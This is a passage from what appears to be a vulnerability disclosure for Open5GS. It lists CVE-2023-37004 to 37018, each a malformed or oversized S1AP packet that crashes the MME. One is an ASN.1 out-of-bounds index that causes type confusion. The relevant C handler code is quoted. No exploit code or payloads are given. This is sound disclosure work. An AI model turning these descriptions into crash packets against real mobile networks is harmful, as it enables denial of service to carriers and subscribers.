    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37004</strong> (<strong>VULN-F03</strong>):</p>

<p>A malformed “Initial Context Setup Response” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_initial_context_setup_response</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37005</strong> (<strong>VULN-F04</strong>):</p>

<p>A malformed “Initial Context Setup Failure” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_initial_context_setup_failure</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37006</strong> (<strong>VULN-F05</strong>):</p>

<p>A malformed “Handover Request Ack” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_handover_request_ack</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37007</strong> (<strong>VULN-F06</strong>):</p>

<p>A malformed “Handover Cancel” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_handover_cancel</span><span class="p">(</span><span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37008</strong> (<strong>VULN-F07</strong>):</p>

<p>A malformed ASN.1 S1AP packet may be used to overwrite a pointer to a struct with data beyond the end of an array (buffer overflow). This can lead to a Denial of Service attack by an attacker repeatedly sending these packets. Additionally, the struct contains function pointers that are subsequently called.</p>

<p><code class="language-plaintext highlighter-rouge">lib/asn1c/common/constr_CHOICE_aper.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">value</span> <span class="o">=</span> <span class="n">per_get_few_bits</span><span class="p">(</span><span class="n">pd</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="c1">// ...</span>

<span class="n">elm</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">td</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">[</span><span class="n">value</span><span class="p">];</span> 
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_Inter-SystemInformationTransferType.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">asn_TYPE_member_t</span> <span class="n">asn_MBR_S1AP_Inter_SystemInformationTransferType_1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="p">{</span> <span class="n">ATF_POINTER</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">offsetof</span><span class="p">(</span><span class="k">struct</span> <span class="n">S1AP_Inter_SystemInformationTransferType</span><span class="p">,</span> <span class="n">choice</span><span class="p">.</span><span class="n">rIMTransfer</span><span class="p">),</span>
        <span class="p">(</span><span class="n">ASN_TAG_CLASS_CONTEXT</span> <span class="o">|</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)),</span>
        <span class="o">-</span><span class="mi">1</span><span class="p">,</span>	<span class="cm">/* IMPLICIT tag at current level */</span>
        <span class="o">&amp;</span><span class="n">asn_DEF_S1AP_RIMTransfer</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="p">{</span>
<span class="cp">#if !defined(ASN_DISABLE_OER_SUPPORT)
</span>            <span class="mi">0</span><span class="p">,</span>
<span class="cp">#endif  </span><span class="cm">/* !defined(ASN_DISABLE_OER_SUPPORT) */</span><span class="cp">
#if !defined(ASN_DISABLE_UPER_SUPPORT) || !defined(ASN_DISABLE_APER_SUPPORT)
</span>            <span class="mi">0</span><span class="p">,</span>
<span class="cp">#endif  </span><span class="cm">/* !defined(ASN_DISABLE_UPER_SUPPORT) || !defined(ASN_DISABLE_APER_SUPPORT) */</span><span class="cp">
</span>            <span class="mi">0</span>
        <span class="p">},</span>
        <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="cm">/* No default value */</span>
        <span class="s">"rIMTransfer"</span>
    <span class="p">},</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The above is an array of only one element, yet <code class="language-plaintext highlighter-rouge">CHOICE_decode_aper</code> may index into element 1 (out of bounds) if certain conditions are met.
This indexes into other structured data that may yield a valid pointer type, leading to type confusion of the data.</p>

<p><strong>CVE-2023-37009</strong> (<strong>VULN-F08</strong>):</p>

<p>A malformed “Handover Notification” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p>src/mme/s1ap-handler.c:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_handover_notification</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37010</strong> (<strong>VULN-F09</strong>):</p>

<p>A malformed “eNB Status Transfer” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_enb_status_transfer</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37011</strong> (<strong>VULN-F10</strong>):</p>

<p>A malformed “Handover Required” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c:1906</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_handover_required</span><span class="p">(</span><span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37012</strong> (<strong>VULN-F11</strong>):</p>

<p>A malformed “Initial UE Message” S1AP packet missing a required “PLMN Identity” field causes Open5GS to crash on assertion failure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_initial_ue_message</span><span class="p">(</span><span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">pLMNidentity</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">EUTRAN_CGI</span><span class="o">-&gt;</span><span class="n">pLMNidentity</span><span class="p">;</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pLMNidentity</span> <span class="o">&amp;&amp;</span> <span class="n">pLMNidentity</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">==</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ogs_plmn_id_t</span><span class="p">));</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37013</strong> (<strong>VULN-F12</strong>):</p>

<p>A specially-crafted oversized message will cause the Open5GS <code class="language-plaintext highlighter-rouge">s1ap_recv_handler</code> routine to crash due to assertion failure.</p>

<p>src/mme/s1ap-sctp.c:243:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_recv_handler</span><span class="p">(</span><span class="n">ogs_sock_t</span> <span class="o">*</span><span class="n">sock</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ogs_socket_errno</span> <span class="o">!=</span> <span class="n">OGS_EAGAIN</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_fatal</span><span class="p">(</span><span class="s">"ogs_sctp_recvmsg(%d) failed(%d:%s-0x%x)"</span><span class="p">,</span>
                <span class="n">size</span><span class="p">,</span> <span class="n">errno</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">),</span> <span class="n">flags</span><span class="p">);</span>
        <span class="n">ogs_assert_if_reached</span><span class="p">();</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"ogs_sctp_recvmsg(%d) failed(%d:%s-0x%x)"</span><span class="p">,</span>
                <span class="n">size</span><span class="p">,</span> <span class="n">errno</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">),</span> <span class="n">flags</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37014</strong> (<strong>VULN-F13</strong>):</p>

<p>A malformed “UE Context Release Request” S1AP packet containing an invalid <code class="language-plaintext highlighter-rouge">MME-UE-S1AP-ID</code> field and missing an <code class="language-plaintext highlighter-rouge">ENB-UE-S1AP-ID</code> causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_context_release_request</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">enb_ue</span> <span class="o">=</span> <span class="n">enb_ue_find_by_mme_ue_s1ap_id</span><span class="p">(</span><span class="o">*</span><span class="n">MME_UE_S1AP_ID</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">enb_ue</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_warn</span><span class="p">(</span><span class="s">"No ENB UE Context : MME_UE_S1AP_ID[%d]"</span><span class="p">,</span>
                <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">*</span><span class="n">MME_UE_S1AP_ID</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span>
                <span class="n">MME_UE_S1AP_ID</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_radioNetwork</span><span class="p">,</span>
                <span class="n">S1AP_CauseRadioNetwork_unknown_mme_ue_s1ap_id</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37015</strong> (<strong>VULN-F14</strong>):</p>

<p>A malformed “Path Switch Request” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_path_switch_request</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37016</strong> (<strong>VULN-F15</strong>):</p>

<p>A malformed “UE Context Modification Response” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c:981</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_context_modification_response</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37017</strong> (<strong>VULN-F16</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">S1Setup</code> S1AP packet missing a <code class="language-plaintext highlighter-rouge">Global-ENB-ID</code> field will cause Open5GS to crash due to assertion failure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_s1_setup_request</span><span class="p">(</span><span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">ogs_debug</span><span class="p">(</span><span class="s">"S1SetupRequest"</span><span class="p">);</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">S1SetupRequest</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ie</span> <span class="o">=</span> <span class="n">S1SetupRequest</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="k">switch</span> <span class="p">(</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">S1AP_ProtocolIE_ID_id_Global_ENB_ID</span><span class="p">:</span>
            <span class="n">Global_ENB_ID</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">Global_ENB_ID</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">S1AP_ProtocolIE_ID_id_SupportedTAs</span><span class="p">:</span>
            <span class="n">SupportedTAs</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">SupportedTAs</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">S1AP_ProtocolIE_ID_id_DefaultPagingDRX</span><span class="p">:</span>
            <span class="n">PagingDRX</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">PagingDRX</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">Global_ENB_ID</span><span class="p">);</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37018</strong> (<strong>VULN-F17</strong>):</p>

<p>A malformed “UE Capability Info Indication” S1AP packet containing an invalid “ENB UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_capability_info_indication</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ENB_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No ENB_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">OGS_OK</span> <span class="o">==</span>
            <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="n">MME_UE_S1AP_ID</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">));</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>
